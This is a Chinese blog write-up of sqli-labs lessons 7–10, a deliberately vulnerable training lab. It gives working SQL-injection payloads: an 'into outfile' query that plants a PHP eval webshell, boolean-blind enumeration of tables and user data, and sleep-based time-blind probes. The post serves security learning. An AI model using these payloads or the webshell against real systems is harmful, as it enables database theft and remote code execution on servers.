sqli-labs-less(7-10)学习

Less7

本关的提示为outfile,那么通关语句应该为select xxx into outfile xxx

函数select xxx into outfile

select ... into outfile '文件路径\文件名'或者select ... into outfile '文件路径//文件名'

该语句能够把表数据导出到文本文件中,并且用load data file恢复数据

使用该函数的条件

1对应的权限

用户具有的权限可以通过查询参数secure_file_priv知道

当该参数的值为NULL时,禁止导入导出功能

当值为一个指定高低目录时,只能向指定的目录导入导出

当值为空时,说明对导入导出没有限制

2要知道路径

可以通过@@datadir回显得到(一般情况很难拿到,本关通过前几关可以获取路径)

3·没有对单引号” ‘ “进行过滤

该函数的路径不能用十六进制等方式(这里可以用到另一个函数dumpoutfile)

4·对web的目录具有读权限

payload:

?id=-1' union select 1,@@secure_file_priv,@@datadir%23 这里是在第一关拿到权限和路径

?id=1')) union select 1,2,'<?php @eval($_POST['x'])?>' into outfile "文件路径\x.php"

这句话的意思是将我们的木马语句导出到指定目录下的x.php文件中,注意这里浏览器会报错,不过文件是能够写入的,我们直接通过网站路径去访问x.php并且传入参数x='注入语句'即可(也可以用webshell工具链接)

Less8

常规思路

1·判断注入点

?id=-1 发现网站回显异常,可能存在注入

2·判断干扰

?id=1'        发现报错,说明是'闭合
?id=1'%23     依然报错,可能有括号
?id=1')%23    报错,继续加括号
?id=1'))%23   回显成功

3·猜列数并判断回显

使用order by 和 union select函数,发现没有回显(ps:如果这里有回显直接常规注入)

4·报错注入

使用updatexml等函数进行报错注入,发现网站没有返回报错语句(本关的源码中将报错语句注释了)

5·布尔盲注或延时盲注

那么第九关和第十关就是布尔盲注和延时盲注的练习了

先介绍几个函数

length() 判断括号中数据的长度

sleep() 可以延迟网站回显的时间

substr(x,1,1) 截取数据x的第一个值,第一个1是说明从第一个值开始,第二个1是截取的值数

if(x,1,2) 如果函数x为真,返回1,为假,返回2 

count() 统计数量

通过将上述函数组合即可得到payload

1· and length(database())=1    当数据库名的长度为1时网站回显正常,否则回显错误

2·and substr(database(),1,1)='s'  当数据库的第一个值为s时回显正常

3·select count(table_name) from information_shcema.tables where table_schema = database() 统计表的数量

1·判断数据库中表的数量

?id=1' and (select count(table_name) from information_schema.tables where table_schema = database())=4%23 

2·判断每个表的长度

?id=1' and (select length(table_name) from information_schema.tables where table_schema =database() limit 0,1)=6%23

这里用limit来选择表,如用limit 2,1限定第三张表

3·判断每个表的表名

?id=1' and substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1)='e'%23

事实上这里用ascii()函数将截取的值转换成ASCII码后再通过二分法可以快速查找到值(脚本思路)

4·判断表中的字段数(即列数)

payload和上述函数差不多

5·判断每个列的长度

6·判断每个列的列名

7·爆数据


?id=1' and (select length(username) from users where id=1)=4%23判断字段长度

?id=1' and substr((select username from users limit 0,1),1,1)="D"%23判断数据名

Less9

本关加入字符闭合以及正常注入回显一直正常

所以只能尝试延时注入,通过网站回显的时间判断

?id=1' and sleep(5)%23 发现网站回显时间延长了说明存在注入

注入语句

?Id=1' and if(语句,sleep(5),1)%23

?Id=1' and if(length(databse())=8,sleep(5),1)%23数据库名长度为8即延迟5秒返回

其它同第八关的思路

Less10

本关同样是回显没有任何改变,所以使用延时注入,只不过干扰为双引号

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值